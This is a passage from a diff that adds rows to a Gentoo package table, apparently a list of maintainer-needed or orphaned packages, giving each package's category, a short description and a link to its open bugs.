+<ti>Multimon decodes digital transmission codes using OSS</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23multimon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/muttprint">app-misc/muttprint</uri></ti>
+<ti>Script for pretty printing of your mails</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23muttprint">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/mvcase">app-misc/mvcase</uri></ti>
+<ti>A modified version of mv, used to convert filenames to lower/upper case</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mvcase">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/mved">app-misc/mved</uri></ti>
+<ti>An editor-focused multiple file move utility.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mved">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/note">app-misc/note</uri></ti>
+<ti>A note taking perl program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23note">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/nut">app-misc/nut</uri></ti>
+<ti>Record what you eat and analyze your nutrient levels</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nut">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/ompload">app-misc/ompload</uri></ti>
+<ti>CLI script for uploading files to http://omploader.org/</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ompload">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/perltrash">app-misc/perltrash</uri></ti>
+<ti>Command-line trash can emulation</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23perltrash">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/plod">app-misc/plod</uri></ti>
+<ti>PLOD is a tool designed to help administrators (and others) keep track of their daily activities.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23plod">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/pwsafe">app-misc/pwsafe</uri></ti>
+<ti>PasswordSafe Compatible Commandline Password Manager</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pwsafe">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/regex-markup">app-misc/regex-markup</uri></ti>
+<ti>A tool to color syslog files as well</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23regex-markup">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/rio">app-misc/rio</uri></ti>
+<ti>Utility for the Diamond Rio 300 portable MP3 player</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rio">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/rio500">app-misc/rio500</uri></ti>
+<ti>Command line tools for transfering mp3s to and from a Rio500</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rio500">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/rioutil">app-misc/rioutil</uri></ti>
+<ti>Command line tool for transfering mp3s to and from a Rio 600, 800, Rio Riot, and Nike PSA/Play</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rioutil">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/run-mailcap">app-misc/run-mailcap</uri></ti>
+<ti>Execute programs via entries in the mailcap file</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23run-mailcap">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/scope">app-misc/scope</uri></ti>
+<ti>Serial Line Analyser</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23scope">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/screenie">app-misc/screenie</uri></ti>
+<ti>screen(1) frontend that is designed to be a session handler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23screenie">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/secure-delete">app-misc/secure-delete</uri></ti>
+<ti>Secure file/disk/swap/memory erasure utilities</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23secure-delete">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/sl">app-misc/sl</uri></ti>
+<ti>sophisticated graphical program which corrects your miss typing</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/slmon">app-misc/slmon</uri></ti>
+<ti>Colored text-based system performance monitor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23slmon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/sonypid">app-misc/sonypid</uri></ti>
+<ti>tool to use the Sony Vaios jog-dial as a mouse-wheel</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sonypid">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/srm">app-misc/srm</uri></ti>
+<ti>A command-line compatible rm which destroys file contents before unlinking.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23srm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/tablix">app-misc/tablix</uri></ti>
+<ti>Tablix is a powerful free software kernel for solving general timetabling problems.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tablix">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/tkpasman">app-misc/tkpasman</uri></ti>
+<ti>A useful and reliable personal password manager, written in Tcl/Tk</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tkpasman">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/toilet">app-misc/toilet</uri></ti>
+<ti>The Other Implementations letters. Figlet replacement.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23toilet">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/towitoko">app-misc/towitoko</uri></ti>
+<ti>This library provides a driver for using Towitoko smartcard readers under UNIX environment.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23towitoko">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/tpconfig">app-misc/tpconfig</uri></ti>
+<ti>Touchpad config for ALPS and Synaptics TPs. Controls tap/click behaviour</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tpconfig">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/tprint">app-misc/tprint</uri></ti>
+<ti>Transparent Print Utility for terminals</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tprint">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/webcomics-collector">app-misc/webcomics-collector</uri></ti>
+<ti>python script for downloading webcomics</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23webcomics-collector">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/wipe">app-misc/wipe</uri></ti>
+<ti>Secure file wiping utility based on Peter Gutman's patterns</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wipe">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-office/ical">app-office/ical</uri></ti>
+<ti>Tk-based Calendar program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ical">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-office/ledger">app-office/ledger</uri></ti>
+<ti>A double-entry accounting system with a command-line reporting interface</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ledger">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-office/magicpoint">app-office/magicpoint</uri></ti>
+<ti>An X11 based presentation tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23magicpoint">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-office/plan">app-office/plan</uri></ti>
+<ti>Motif based schedule planner</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23plan">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-office/sc">app-office/sc</uri></ti>
+<ti>sc is a free curses-based spreadsheet program that uses key bindings similar to vi and less.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-office/taxbird">app-office/taxbird</uri></ti>
+<ti>Taxbird provides a GUI to submit tax forms to the german digital tax project ELSTER.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23taxbird">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-office/tedia2sql">app-office/tedia2sql</uri></ti>
+<ti>Convert database ERD designed in Dia into SQL DDL scripts.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tedia2sql">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-pda/iripdb">app-pda/iripdb</uri></ti>
+<ti>iRipDB allows generating the DB files necessary for the iRiver iHP-1xx series of MP3/Ogg HD Player on Linux and Windows.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23iripdb">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-portage/conf-update">app-portage/conf-update</uri></ti>
+<ti>conf-update is a ncurses-based config management utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23conf-update">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/ccsh">app-shells/ccsh</uri></ti>
+<ti>UNIX Shell for people already familiar with the C language</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ccsh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/esh">app-shells/esh</uri></ti>
+<ti>A UNIX Shell with a simplified Scheme syntax</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23esh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/fish">app-shells/fish</uri></ti>
+<ti>fish is the Friendly Interactive SHell</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fish">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/ksh">app-shells/ksh</uri></ti>
+<ti>The Original Korn Shell, 1993 revision (ksh93)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ksh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/pdksh">app-shells/pdksh</uri></ti>
+<ti>The Public Domain Korn Shell</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pdksh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/posh">app-shells/posh</uri></ti>
+<ti>stripped-down version of pdksh</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23posh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/psh">app-shells/psh</uri></ti>
+<ti>Combines the interactive nature of a Unix shell with the power of Perl</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23psh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/sash">app-shells/sash</uri></ti>
+<ti>A small static UNIX Shell with readline support</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sash">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-shells/soapbox">app-shells/soapbox</uri></ti>
+<ti>A preload (sandbox) library to restrict filesystem writes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23soapbox">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/7plus">app-text/7plus</uri></ti>
+<ti>An encoder for packet radio</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%237plus">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/adiff">app-text/adiff</uri></ti>
+<ti>wordwise diff</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23adiff">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/antiword">app-text/antiword</uri></ti>
+<ti>free MS Word reader</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23antiword">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/antixls">app-text/antixls</uri></ti>
+<ti>It is used to prints out an XLS file with minimal formatting, or extracts the data into CSV format.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23antixls">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/apvlv">app-text/apvlv</uri></ti>
+<ti>Alf's PDF Viewer Like Vim</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23apvlv">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/bact">app-text/bact</uri></ti>
+<ti>Boosting Algorithm for Classification of Trees</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bact">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/barcode">app-text/barcode</uri></ti>
+<ti>barcode generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23barcode">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/cedilla">app-text/cedilla</uri></ti>
+<ti>Utf-8 to postscript converter.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cedilla">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/clara">app-text/clara</uri></ti>
+<ti>An OCR (Optical Character Recognition) program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23clara">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/code2html">app-text/code2html</uri></ti>
+<ti>Converts source files to colored HTML output.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23code2html">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/cook">app-text/cook</uri></ti>
+<ti>COOK is an embedded language which can be used as a macro preprocessor and for similar text processing.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cook">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/cwtext">app-text/cwtext</uri></ti>
+<ti>Text to Morse Code converter</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cwtext">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/ddir">app-text/ddir</uri></ti>
+<ti>A perl implementation of the tree(1) program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ddir">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/duali">app-text/duali</uri></ti>
+<ti>Arabic dictionary based on the DICT protocol</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23duali">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/expander">app-text/expander</uri></ti>
+<ti>Expander is a utility that acts as a filter for text editors.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23expander">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/freepwing">app-text/freepwing</uri></ti>
+<ti>FreePWING is a free JIS X 4081 (subset of EPWING V1) formatter</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23freepwing">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/hnb">app-text/hnb</uri></ti>
+<ti>A program to organize many kinds of data in one place.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hnb">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/htmlinc">app-text/htmlinc</uri></ti>
+<ti>HTML Include System by Ulli Meybohm</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23htmlinc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/lout">app-text/lout</uri></ti>
+<ti>high-level language for document formatting</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lout">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/man2html">app-text/man2html</uri></ti>
+<ti>Convert manual pages to HTML</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man2html">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/mpage">app-text/mpage</uri></ti>
+<ti>Many to one page printing utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mpage">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/mxml2man">app-text/mxml2man</uri></ti>
+<ti>Apple's xml2man in an Autotool fashion</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mxml2man">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/o3read">app-text/o3read</uri></ti>
+<ti>Converts OpenOffice formats to text or HTML.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23o3read">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/par">app-text/par</uri></ti>
+<ti>a paragraph reformatter, vaguely similar to fmt, but better</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23par">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/pdf2oo">app-text/pdf2oo</uri></ti>
+<ti>Converts pdf files to odf</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pdf2oo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/pep">app-text/pep</uri></ti>
+<ti>General purpose filter and file cleaning program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pep">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/psiconv">app-text/psiconv</uri></ti>
+<ti>An interpreter for Psion 5(MX) file formats</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23psiconv">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/pspresent">app-text/pspresent</uri></ti>
+<ti>A tool to display full-screen PostScript presentations.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pspresent">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/pyrpub">app-text/pyrpub</uri></ti>
+<ti>content conversion tool for Palm</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pyrpub">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/reed">app-text/reed</uri></ti>
+<ti>This is a text pager (text file viewer), used to display etexts.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23reed">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/rhyme">app-text/rhyme</uri></ti>
+<ti>Console based Rhyming Dictionary</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rhyme">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/spellutils">app-text/spellutils</uri></ti>
+<ti>spellutils includes 'newsbody' (useful for spellchecking in mails, etc.)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23spellutils">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/ssddiff">app-text/ssddiff</uri></ti>
+<ti>A diff application for semi-structured data (such as XML files)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ssddiff">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/tabler">app-text/tabler</uri></ti>
+<ti>A utility to create text art tables from delimited input</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tabler">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/tkinfo">app-text/tkinfo</uri></ti>
+<ti>Info Browser in TK</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tkinfo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/tkman">app-text/tkman</uri></ti>
+<ti>TkMan man and info page browser</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tkman">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/tuxcards">app-text/tuxcards</uri></ti>
+<ti>A hierarchical notebook</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tuxcards">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/txt2man">app-text/txt2man</uri></ti>
+<ti>txt2man, src2man (C only) and bookman convert scripts for man pages.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23txt2man">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/txt2pdbdoc">app-text/txt2pdbdoc</uri></ti>
+<ti>Text/HTML to Doc file converter for the Palm Pilot</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23txt2pdbdoc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/uudeview">app-text/uudeview</uri></ti>
+<ti>uu, xx, base64, binhex decoder</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23uudeview">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/wscr">app-text/wscr</uri></ti>
+<ti>A Lightweight and Fast Anagram Solver</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wscr">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/xlhtml">app-text/xlhtml</uri></ti>
+<ti>Convert MS Excel and Powerpoint files to HTML</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xlhtml">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/xmldiff">app-text/xmldiff</uri></ti>
+<ti>a tool that figures out the differences between two similar XML files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xmldiff">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-text/yudit">app-text/yudit</uri></ti>
+<ti>free (Y)unicode text editor for all unices</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23yudit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-cpp/gflags">dev-cpp/gflags</uri></ti>
+<ti>Google's C++ argument parsing library with python extensions.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gflags">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-cpp/tclap">dev-cpp/tclap</uri></ti>
+<ti>Simple templatized C++ library for parsing command line arguments.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tclap">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-db/firebird">dev-db/firebird</uri></ti>
+<ti>A relational database offering many ANSI SQL-99 features</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23firebird">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-db/flamerobin">dev-db/flamerobin</uri></ti>
+<ti>A database administration tool for Firebird DBMS</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23flamerobin">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-db/mergeant">dev-db/mergeant</uri></ti>
+<ti>Front-end for database administrators and developers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mergeant">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-db/metakit">dev-db/metakit</uri></ti>
+<ti>Embedded database library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23metakit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-db/sqlitebrowser">dev-db/sqlitebrowser</uri></ti>
+<ti>SQLite Database Browser</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sqlitebrowser">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-db/sqliteodbc">dev-db/sqliteodbc</uri></ti>
+<ti>ODBC driver to access local SQLite database files.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sqliteodbc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-db/unixODBC">dev-db/unixODBC</uri></ti>
+<ti>A complete ODBC driver manager</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23unixODBC">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/bashforth">dev-lang/bashforth</uri></ti>
+<ti>BashForth is a string-threaded Forth interpreter in Bash.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bashforth">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/bff">dev-lang/bff</uri></ti>
+<ti>a brainfuck interpreter</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bff">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/cll1h">dev-lang/cll1h</uri></ti>
+<ti>C&lt;&lt;1 programming language system</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cll1h">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/ferite">dev-lang/ferite</uri></ti>
+<ti>A clean, lightweight, object oriented scripting language</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ferite">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/gforth">dev-lang/gforth</uri></ti>
+<ti>GNU Forth is a fast and portable implementation of the ANSI Forth language</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gforth">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/mmix">dev-lang/mmix</uri></ti>
+<ti>Donald Knuth's MMIX Assembler and Simulator.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mmix">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/mosml">dev-lang/mosml</uri></ti>
+<ti>Moscow ML - a lightweight implementation of Standard ML (SML)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mosml">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/nqc">dev-lang/nqc</uri></ti>
+<ti>Not Quite C - C-like compiler for Lego Mindstorms</ti>
